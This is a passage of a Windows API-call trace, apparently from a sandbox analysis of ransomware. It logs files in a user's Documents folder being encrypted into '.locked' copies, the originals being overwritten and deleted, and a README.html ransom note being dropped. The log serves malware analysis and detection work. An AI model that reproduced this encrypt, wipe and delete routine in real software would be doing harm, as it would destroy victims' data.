	[0074.831] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961e0 | out: pbBuffer=0x127961e0) returned 1
	[0074.831] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc281 | out: pbBuffer=0x123bc281) returned 1
	[0074.831] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0074.833] SetEvent (hEvent=0x80) returned 1
	[0074.833] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x11437, lpOverlapped=0x0) returned 1
	[0074.835] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x11437, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x11437, lpOverlapped=0x0) returned 1
	[0074.836] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0074.836] CloseHandle (hObject=0xc4) returned 1
	[0074.838] CloseHandle (hObject=0xc0) returned 1
	[0074.838] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0074.838] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.838] SetEvent (hEvent=0x80) returned 1
	[0074.838] SetEvent (hEvent=0x8c) returned 1
	[0074.838] SetEvent (hEvent=0xb4) returned 1
	[0074.838] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.839] SetEvent (hEvent=0xb4) returned 1
	[0074.839] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x44, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee8a0*=0x44) returned 1
	[0074.840] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cQ3HZy-ljR_WZq8CsVX.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cq3hzy-ljr_wzq8csvx.odp")) returned 1
	[0074.859] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.859] SetEvent (hEvent=0xa8) returned 1
	[0074.859] SetEvent (hEvent=0x8c) returned 1
	[0074.864] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.864] SetEvent (hEvent=0x8c) returned 1
	[0074.864] SetEvent (hEvent=0xb4) returned 1
	[0074.864] SetEvent (hEvent=0x80) returned 1
	[0074.864] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.864] SetEvent (hEvent=0x80) returned 1
	[0074.866] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.866] SetEvent (hEvent=0x80) returned 1
	[0074.866] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.867] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.867] SetEvent (hEvent=0x80) returned 1
	[0074.867] SetEvent (hEvent=0xb4) returned 1
	[0074.867] SetEvent (hEvent=0x8c) returned 1
	[0074.867] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.867] SetEvent (hEvent=0x8c) returned 1
	[0074.867] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cQ3HZy-ljR_WZq8CsVX.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cq3hzy-ljr_wzq8csvx.odp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.868] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0074.869] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0074.884] CloseHandle (hObject=0xc0) returned 1
	[0074.892] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cQ3HZy-ljR_WZq8CsVX.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cq3hzy-ljr_wzq8csvx.odp")) returned 1
	[0074.901] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192)) returned 1
	[0074.901] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dugWQq.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dugwqq.pptx"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8691e0, ftCreationTime.dwHighDateTime=0x1d4cc25, ftLastAccessTime.dwLowDateTime=0xf60afe70, ftLastAccessTime.dwHighDateTime=0x1d4f4c4, ftLastWriteTime.dwLowDateTime=0xf60afe70, ftLastWriteTime.dwHighDateTime=0x1d4f4c4, nFileSizeHigh=0x0, nFileSizeLow=0x10ced)) returned 1
	[0074.901] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dugWQq.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dugwqq.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.902] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0074.902] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dugWQq.pptx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dugwqq.pptx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0074.902] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0074.903] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c280 | out: pbBuffer=0x1238c280) returned 1
	[0074.903] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127962a0 | out: pbBuffer=0x127962a0) returned 1
	[0074.903] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc201 | out: pbBuffer=0x123bc201) returned 1
	[0074.903] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0074.905] SetEvent (hEvent=0xb4) returned 1
	[0074.905] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x10ced, lpOverlapped=0x0) returned 1
	[0074.907] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x10ced, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x10ced, lpOverlapped=0x0) returned 1
	[0074.908] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0074.908] CloseHandle (hObject=0xc4) returned 1
	[0074.910] CloseHandle (hObject=0xc0) returned 1
	[0074.910] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.910] SetEvent (hEvent=0xb4) returned 1
	[0074.910] SetEvent (hEvent=0x8c) returned 1
	[0074.910] SetEvent (hEvent=0x80) returned 1
	[0074.910] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.911] SetEvent (hEvent=0xa8) returned 1
	[0074.911] SetEvent (hEvent=0x80) returned 1
	[0074.911] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390070*, nNumberOfCharsToWrite=0x38, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x12390070*, lpNumberOfCharsWritten=0x127ee8a0*=0x38) returned 1
	[0074.913] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dugWQq.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dugwqq.pptx")) returned 1
	[0074.931] SetEvent (hEvent=0x8c) returned 1
	[0074.935] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.935] SetEvent (hEvent=0x8c) returned 1
	[0074.935] SetEvent (hEvent=0x80) returned 1
	[0074.935] SetEvent (hEvent=0xb4) returned 1
	[0074.935] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.936] SetEvent (hEvent=0xb4) returned 1
	[0074.937] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.937] SetEvent (hEvent=0xb4) returned 1
	[0074.938] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.938] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.938] SetEvent (hEvent=0xb4) returned 1
	[0074.938] SetEvent (hEvent=0x80) returned 1
	[0074.938] SetEvent (hEvent=0x8c) returned 1
	[0074.938] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.938] SetEvent (hEvent=0x8c) returned 1
	[0074.939] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dugWQq.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dugwqq.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.939] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0074.940] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0074.968] CloseHandle (hObject=0xc0) returned 1
	[0074.976] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dugWQq.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dugwqq.pptx")) returned 1
	[0074.985] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf38c9830, ftCreationTime.dwHighDateTime=0x1d4ccc8, ftLastAccessTime.dwLowDateTime=0x4dadbe80, ftLastAccessTime.dwHighDateTime=0x1d4d43e, ftLastWriteTime.dwLowDateTime=0x4dadbe80, ftLastWriteTime.dwHighDateTime=0x1d4d43e, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0074.985] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0074.985] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf38c9830, ftCreationTime.dwHighDateTime=0x1d4ccc8, ftLastAccessTime.dwLowDateTime=0x4dadbe80, ftLastAccessTime.dwHighDateTime=0x1d4d43e, ftLastWriteTime.dwLowDateTime=0x4dadbe80, ftLastWriteTime.dwHighDateTime=0x1d4d43e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0074.985] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf38c9830, ftCreationTime.dwHighDateTime=0x1d4ccc8, ftLastAccessTime.dwLowDateTime=0x4dadbe80, ftLastAccessTime.dwHighDateTime=0x1d4d43e, ftLastWriteTime.dwLowDateTime=0x4dadbe80, ftLastWriteTime.dwHighDateTime=0x1d4d43e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.985] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x884a99b0, ftCreationTime.dwHighDateTime=0x1d4cd5d, ftLastAccessTime.dwLowDateTime=0x7937c420, ftLastAccessTime.dwHighDateTime=0x1d4cb5a, ftLastWriteTime.dwLowDateTime=0x7937c420, ftLastWriteTime.dwHighDateTime=0x1d4cb5a, nFileSizeHigh=0x0, nFileSizeLow=0x1120b, dwReserved0=0x0, dwReserved1=0x0, cFileName="6kCkH9bq9Z0EKK.ots", cAlternateFileName="6KCKH9~1.OTS")) returned 1
	[0074.985] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdfb96c0, ftCreationTime.dwHighDateTime=0x1d4ce04, ftLastAccessTime.dwLowDateTime=0x33a8f910, ftLastAccessTime.dwHighDateTime=0x1d4ca60, ftLastWriteTime.dwLowDateTime=0x33a8f910, ftLastWriteTime.dwHighDateTime=0x1d4ca60, nFileSizeHigh=0x0, nFileSizeLow=0xaa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="bQRxFeoT.odt", cAlternateFileName="")) returned 1
	[0074.985] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8d3690, ftCreationTime.dwHighDateTime=0x1d4d310, ftLastAccessTime.dwLowDateTime=0x65189e70, ftLastAccessTime.dwHighDateTime=0x1d4cee2, ftLastWriteTime.dwLowDateTime=0x65189e70, ftLastWriteTime.dwHighDateTime=0x1d4cee2, nFileSizeHigh=0x0, nFileSizeLow=0x213e, dwReserved0=0x0, dwReserved1=0x0, cFileName="e7jktwAzMIP7-i51u.odt", cAlternateFileName="E7JKTW~1.ODT")) returned 1
	[0074.985] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6feb480, ftCreationTime.dwHighDateTime=0x1d4ce9d, ftLastAccessTime.dwLowDateTime=0xcf757620, ftLastAccessTime.dwHighDateTime=0x1d4cf97, ftLastWriteTime.dwLowDateTime=0xcf757620, ftLastWriteTime.dwHighDateTime=0x1d4cf97, nFileSizeHigh=0x0, nFileSizeLow=0x70e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="JgDjmwx dpNNCt.pdf", cAlternateFileName="JGDJMW~1.PDF")) returned 1
	[0074.985] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb37239f0, ftCreationTime.dwHighDateTime=0x1d4d130, ftLastAccessTime.dwLowDateTime=0x19eedac0, ftLastAccessTime.dwHighDateTime=0x1d4c7e1, ftLastWriteTime.dwLowDateTime=0x19eedac0, ftLastWriteTime.dwHighDateTime=0x1d4c7e1, nFileSizeHigh=0x0, nFileSizeLow=0x11112, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZscHZDJ1hKDGY.pps", cAlternateFileName="ZSCHZD~1.PPS")) returned 1
	[0074.985] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0074.985] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0074.985] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.986] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0074.986] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0074.987] CloseHandle (hObject=0xc0) returned 1
	[0074.987] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x50, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee8b0*=0x50) returned 1
	[0074.989] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\6kCkH9bq9Z0EKK.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\6kckh9bq9z0ekk.ots"), fInfoLevelId=0x0, lpFileInformation=0x123fc378 | out: lpFileInformation=0x123fc378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x884a99b0, ftCreationTime.dwHighDateTime=0x1d4cd5d, ftLastAccessTime.dwLowDateTime=0x7937c420, ftLastAccessTime.dwHighDateTime=0x1d4cb5a, ftLastWriteTime.dwLowDateTime=0x7937c420, ftLastWriteTime.dwHighDateTime=0x1d4cb5a, nFileSizeHigh=0x0, nFileSizeLow=0x1120b)) returned 1
	[0074.989] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\6kCkH9bq9Z0EKK.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\6kckh9bq9z0ekk.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.989] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0074.989] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\6kCkH9bq9Z0EKK.ots.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\6kckh9bq9z0ekk.ots.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0074.989] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0074.989] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c340 | out: pbBuffer=0x1238c340) returned 1
	[0074.989] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796320 | out: pbBuffer=0x12796320) returned 1
	[0074.990] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0074.990] WriteFile (in: hFile=0xc4, lpBuffer=0x123e9000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x123e9000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0074.992] SetEvent (hEvent=0x80) returned 1
	[0074.992] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x1120b, lpOverlapped=0x0) returned 1
	[0074.994] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x1120b, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x1120b, lpOverlapped=0x0) returned 1
	[0074.995] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0074.995] CloseHandle (hObject=0xc4) returned 1
	[0074.996] CloseHandle (hObject=0xc0) returned 1
	[0074.997] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.997] SetEvent (hEvent=0x80) returned 1
	[0074.997] SetEvent (hEvent=0x8c) returned 1
	[0074.997] SetEvent (hEvent=0xb4) returned 1
	[0074.997] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.997] SetEvent (hEvent=0xb4) returned 1
	[0074.998] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4d, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee83c*=0x4d) returned 1
	[0074.999] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\6kCkH9bq9Z0EKK.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\6kckh9bq9z0ekk.ots")) returned 1
	[0075.024] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.025] SetEvent (hEvent=0xa8) returned 1
	[0075.025] SetEvent (hEvent=0x8c) returned 1
	[0075.029] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.029] SetEvent (hEvent=0x8c) returned 1
	[0075.029] SetEvent (hEvent=0xb4) returned 1
	[0075.029] SetEvent (hEvent=0x80) returned 1
	[0075.030] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.030] SetEvent (hEvent=0x80) returned 1
	[0075.031] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.032] SetEvent (hEvent=0x80) returned 1
	[0075.032] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.032] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.032] SetEvent (hEvent=0x80) returned 1
	[0075.032] SetEvent (hEvent=0xb4) returned 1
	[0075.032] SetEvent (hEvent=0x8c) returned 1
	[0075.032] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.033] SetEvent (hEvent=0x8c) returned 1
	[0075.033] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\6kCkH9bq9Z0EKK.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\6kckh9bq9z0ekk.ots"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.034] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0075.034] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0075.050] CloseHandle (hObject=0xc0) returned 1
	[0075.058] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\6kCkH9bq9Z0EKK.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\6kckh9bq9z0ekk.ots")) returned 1
	[0075.067] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\JgDjmwx dpNNCt.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\jgdjmwx dpnnct.pdf"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6feb480, ftCreationTime.dwHighDateTime=0x1d4ce9d, ftLastAccessTime.dwLowDateTime=0xcf757620, ftLastAccessTime.dwHighDateTime=0x1d4cf97, ftLastWriteTime.dwLowDateTime=0xcf757620, ftLastWriteTime.dwHighDateTime=0x1d4cf97, nFileSizeHigh=0x0, nFileSizeLow=0x70e1)) returned 1
	[0075.067] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\JgDjmwx dpNNCt.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\jgdjmwx dpnnct.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.067] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
